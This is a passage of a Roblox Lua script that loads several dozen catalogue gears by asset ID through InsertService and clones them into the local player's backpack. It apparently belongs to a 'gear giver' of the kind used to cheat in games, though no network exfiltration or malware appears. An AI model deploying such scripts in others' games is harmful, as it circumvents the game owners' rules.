not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt75 =
game:GetService("InsertService"):LoadAsset(31839203)--rcformula
for _, v in pairs(insrt75:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt76 =
game:GetService("InsertService"):LoadAsset(11373617)--woodlandsstaff
for _, v in pairs(insrt76:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt77 =
game:GetService("InsertService"):LoadAsset(22969230)--emraldscatterblaster
for _, v in pairs(insrt77:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt78 =
game:GetService("InsertService"):LoadAsset(21420014)--scatterblaster
for _, v in pairs(insrt78:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt79 =
game:GetService("InsertService"):LoadAsset(36913601)--broom
for _, v in pairs(insrt79:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt80 =
game:GetService("InsertService"):LoadAsset(48847374)--positronicarmcannon
for _, v in pairs(insrt80:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt81 =
game:GetService("InsertService"):LoadAsset(71422327)--frosthammer
for _, v in pairs(insrt81:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt82 =
game:GetService("InsertService"):LoadAsset(69947367)--dualaxe
for _, v in pairs(insrt82:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt83 =
game:GetService("InsertService"):LoadAsset(33382711)--gloomystaff
for _, v in pairs(insrt83:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt84 =
game:GetService("InsertService"):LoadAsset(11719016)--blowdryer
for _, v in pairs(insrt84:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt85 =
game:GetService("InsertService"):LoadAsset(12902404)--tnt
for _, v in pairs(insrt85:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt86 =
game:GetService("InsertService"):LoadAsset(65469882)--fist
for _, v in pairs(insrt86:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt87 =
game:GetService("InsertService"):LoadAsset(65469908)--scullcracker
for _, v in pairs(insrt87:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt88 =
game:GetService("InsertService"):LoadAsset(33383241)--remotemine
for _, v in pairs(insrt88:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt89 =
game:GetService("InsertService"):LoadAsset(32353654)--moonwalkdance
for _, v in pairs(insrt89:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt90 =
game:GetService("InsertService"):LoadAsset(32355966)--winsomewand
for _, v in pairs(insrt90:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt91 =
game:GetService("InsertService"):LoadAsset(35293856)--atomizer
for _, v in pairs(insrt91:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt92 =
game:GetService("InsertService"):LoadAsset(50938773)--taserblade
for _, v in pairs(insrt92:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt93 =
game:GetService("InsertService"):LoadAsset(32858662)--icestaff
for _, v in pairs(insrt93:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt94 =
game:GetService("InsertService"):LoadAsset(16469499)--highphaser
for _, v in pairs(insrt94:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt95 =
game:GetService("InsertService"):LoadAsset(47871646)--tornade
for _, v in pairs(insrt95:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt96 =
game:GetService("InsertService"):LoadAsset(35366215)--roboarm
for _, v in pairs(insrt96:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt97 =
game:GetService("InsertService"):LoadAsset(64160547)--hoverboard
for _, v in pairs(insrt97:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt98 =
game:GetService("InsertService"):LoadAsset(54694334)--vilethorn
for _, v in pairs(insrt98:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt99 =
game:GetService("InsertService"):LoadAsset(69210321)--darkstaff
for _, v in pairs(insrt99:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt100 =
game:GetService("InsertService"):LoadAsset(62827121)--evilwand
for _, v in pairs(insrt100:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt101 =
game:GetService("InsertService"):LoadAsset(18010691)--awestar
for _, v in pairs(insrt101:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt102 =
game:GetService("InsertService"):LoadAsset(51302649)--swordandshield
for _, v in pairs(insrt102:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt103 =
game:GetService("InsertService"):LoadAsset(10760425)--sparkstaff
for _, v in pairs(insrt103:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt104 =
game:GetService("InsertService"):LoadAsset(73799348)--undoingaxe
for _, v in pairs(insrt104:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt105 =
game:GetService("InsertService"):LoadAsset(73232786)--dragonstaff
for _, v in pairs(insrt105:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt106 =
game:GetService("InsertService"):LoadAsset(73232825)--screeshpotion
for _, v in pairs(insrt106:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt107 =
game:GetService("InsertService"):LoadAsset(73265108)--dualcannon
for _, v in pairs(insrt107:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt108 =
game:GetService("InsertService"):LoadAsset(74385438)--gravitron
for _, v in pairs(insrt108:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt109 =
game:GetService("InsertService"):LoadAsset(74385386)--razevenge
for _, v in pairs(insrt109:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt110 =
game:GetService("InsertService"):LoadAsset(74385418)--glorylauncher
for _, v in pairs(insrt110:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt111 =
game:GetService("InsertService"):LoadAsset(73888479)--spikesplosion
for _, v in pairs(insrt111:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
wait()
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then
game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."):remove()
end
end))
end
end))
end)